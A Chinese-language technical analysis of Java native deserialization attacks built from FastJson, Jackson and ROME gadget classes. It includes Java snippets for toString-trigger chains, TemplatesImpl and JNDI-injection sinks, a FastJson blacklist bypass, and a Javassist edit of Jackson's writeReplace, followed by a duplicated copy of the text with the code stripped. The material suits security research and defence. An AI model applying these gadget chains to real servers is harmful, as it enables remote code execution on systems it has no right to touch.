利用特殊反序列化组件攻击原生反序列化入口
字数 1879 2025-08-20 18:17:47

利用特殊反序列化组件攻击原生反序列化入口技术分析

前言

本文探讨如何利用特殊反序列化组件(FastJson、Jackson、ROME)攻击Java原生反序列化入口(Serializable接口)。这种攻击的本质是将这些组件中的类拼接到反序列化利用链中,目标是Serializable入口而非特殊反序列化入口本身。

攻击原理

特殊反序列化组件在实现自己的序列化逻辑时,会调用目标类的getter方法:

  1. 这些组件的类(如JSONObject、POJONode、ToStringBean)重写了toString方法
  2. 在toString方法中会调用目标类(如TemplatesImpl)的getter方法
  3. 目标类被放入这些组件类中(如jsonObject1.put("g",obj)new ToStringBean(obj.getClass(),obj)

关键点:

  • 目标类getter包括:TemplatesImpl#getOutputPropertiesLdapAttribute#getAttributeDefinitionJdbcRowsetImpl#getDatabaseMetaData
  • 因为是原生反序列化攻击,所有利用链上的类都必须实现Serializable接口

利用链分析

readObject() -> 任意类toString()

1. HotSwappableTargetSource & XString

依赖SpringAOP,测试代码如下:

Object templatesimpl = null;
JSONObject jsonObject = new JSONObject();
jsonObject.put("g","m");
JSONObject jsonObject1 = new JSONObject();
jsonObject1.put("g",templatesimpl);

HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(v1,v1);
hashMap.put(v2,v2);
setValue(v1,"target",jsonObject1);

调用栈:

  1. XString#equals中调用obj2.toString()
  2. obj2HotSwappableTargetSource中的templatesimpl对象

2. BadAttributeValueExpException

JDK原生可用,直接调用内部对象的toString:

Object tpl = null;
JSONObject jsonObject = new JSONObject();
jsonObject.put("gg",tpl);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,jsonObject);

3. EqualsBean

依赖ROME(1.12.0之前版本可用):

ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
Object templatesimpl = null;

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");

Field field = toStringBean.getClass().getDeclaredField("obj");
field.setAccessible(true);
field.set(toStringBean,templatesimpl);

toString() -> sink

1. TemplatesImpl#getOutputProperties

JDK原生可用,经典CC/CB链中的利用方式。

2. JdbcRowSetImpl#getDatabaseMetaData

JDK原生可用,实现JNDI注入:

JdbcRowSetImpl jdbcrowsetimpl = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:10990";
jdbcRowset.setDataSourceName(url);

3. LdapAttribute#getAttributeDefinition

JDK原生可用,实现JNDI注入:

Object obj = newInstance("com.sun.jndi.ldap.LdapAttribute", new Class<?>[]{String.class},"id");
setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:13562");
setFieldValue(obj, "rdn", new CompositeName("whocansee"+"//b"));

序列化逻辑分析

FastJson

黑名单检查与绕过

FastJson 1.2.49+在JsonObject的readObject方法中会进行checkAutoType检查。绕过方法:

HashMap hashMap = new HashMap();
hashMap.put(tpl,poc); // tpl是目标类对象,poc是入口类对象

原理:序列化时先建立外层Map中目标类对象的引用映射,反序列化时恢复JsonObject中的目标类对象会以引用类型写入,绕过resolveClass检查。

默认构造方法的必要性及其破除

当目标类不存在默认构造方法时,会报错。解决方法:

  1. 引用类型绕过(同上)
  2. 缓存:利用FastJson的缓存机制,提前将类加入缓存

Jackson

getter调用顺序不稳定

Jackson在调用getter时顺序不稳定,可能导致在调用目标getter前就报错。解决方法:

  • 使用@JsonIgnore注解忽略无关getter
  • 使用@JsonPropertyOrder指定getter顺序

删除writeReplace方法

Jackson的POJONode类有writeReplace方法,会导致序列化报错。解决方法:

CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

ROME

TemplatesImpl利用

ROME结合TemplatesImpl时,可以指定从接口获取getter:

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);

JdbcRowSetImpl利用

ROME可以结合JdbcRowSetImpl使用,因为getter调用顺序随机,有可能直接调用到getDatabaseMetaData()。

LdapAttribute利用问题

ROME无法结合LdapAttribute使用,因为LdapAttribute的get方法会导致PropertyDescriptor报错。

1.12.0后的修复

1.12.0版本后:

  1. 构造方法改为private
  2. toString方法改为静态方法,需要传入beanClass和obj参数
    这使得攻击难以实现。

工具实现

所有payload可在ysomap项目中找到。

参考

  1. FastJson与原生反序列化分析文章
  2. Jackson getter调用顺序问题分析
  3. ROME反序列化利用分析
利用特殊反序列化组件攻击原生反序列化入口技术分析 前言 本文探讨如何利用特殊反序列化组件(FastJson、Jackson、ROME)攻击Java原生反序列化入口(Serializable接口)。这种攻击的本质是将这些组件中的类拼接到反序列化利用链中,目标是Serializable入口而非特殊反序列化入口本身。 攻击原理 特殊反序列化组件在实现自己的序列化逻辑时,会调用目标类的getter方法: 这些组件的类(如JSONObject、POJONode、ToStringBean)重写了toString方法 在toString方法中会调用目标类(如TemplatesImpl)的getter方法 目标类被放入这些组件类中(如 jsonObject1.put("g",obj) 或 new ToStringBean(obj.getClass(),obj) ) 关键点: 目标类getter包括: TemplatesImpl#getOutputProperties 、 LdapAttribute#getAttributeDefinition 、 JdbcRowsetImpl#getDatabaseMetaData 因为是原生反序列化攻击,所有利用链上的类都必须实现Serializable接口 利用链分析 readObject() -> 任意类toString() 1. HotSwappableTargetSource & XString 依赖SpringAOP,测试代码如下: 调用栈: XString#equals 中调用 obj2.toString() obj2 即 HotSwappableTargetSource 中的 templatesimpl 对象 2. BadAttributeValueExpException JDK原生可用,直接调用内部对象的toString: 3. EqualsBean 依赖ROME(1.12.0之前版本可用): toString() -> sink 1. TemplatesImpl#getOutputProperties JDK原生可用,经典CC/CB链中的利用方式。 2. JdbcRowSetImpl#getDatabaseMetaData JDK原生可用,实现JNDI注入: 3. LdapAttribute#getAttributeDefinition JDK原生可用,实现JNDI注入: 序列化逻辑分析 FastJson 黑名单检查与绕过 FastJson 1.2.49+在JsonObject的readObject方法中会进行checkAutoType检查。绕过方法: 原理:序列化时先建立外层Map中目标类对象的引用映射,反序列化时恢复JsonObject中的目标类对象会以引用类型写入,绕过resolveClass检查。 默认构造方法的必要性及其破除 当目标类不存在默认构造方法时,会报错。解决方法: 引用类型绕过(同上) 缓存:利用FastJson的缓存机制,提前将类加入缓存 Jackson getter调用顺序不稳定 Jackson在调用getter时顺序不稳定,可能导致在调用目标getter前就报错。解决方法: 使用 @JsonIgnore 注解忽略无关getter 使用 @JsonPropertyOrder 指定getter顺序 删除writeReplace方法 Jackson的POJONode类有writeReplace方法,会导致序列化报错。解决方法: ROME TemplatesImpl利用 ROME结合TemplatesImpl时,可以指定从接口获取getter: JdbcRowSetImpl利用 ROME可以结合JdbcRowSetImpl使用,因为getter调用顺序随机,有可能直接调用到getDatabaseMetaData()。 LdapAttribute利用问题 ROME无法结合LdapAttribute使用,因为LdapAttribute的get方法会导致PropertyDescriptor报错。 1.12.0后的修复 1.12.0版本后: 构造方法改为private toString方法改为静态方法,需要传入beanClass和obj参数 这使得攻击难以实现。 工具实现 所有payload可在 ysomap 项目中找到。 参考 FastJson与原生反序列化分析文章 Jackson getter调用顺序问题分析 ROME反序列化利用分析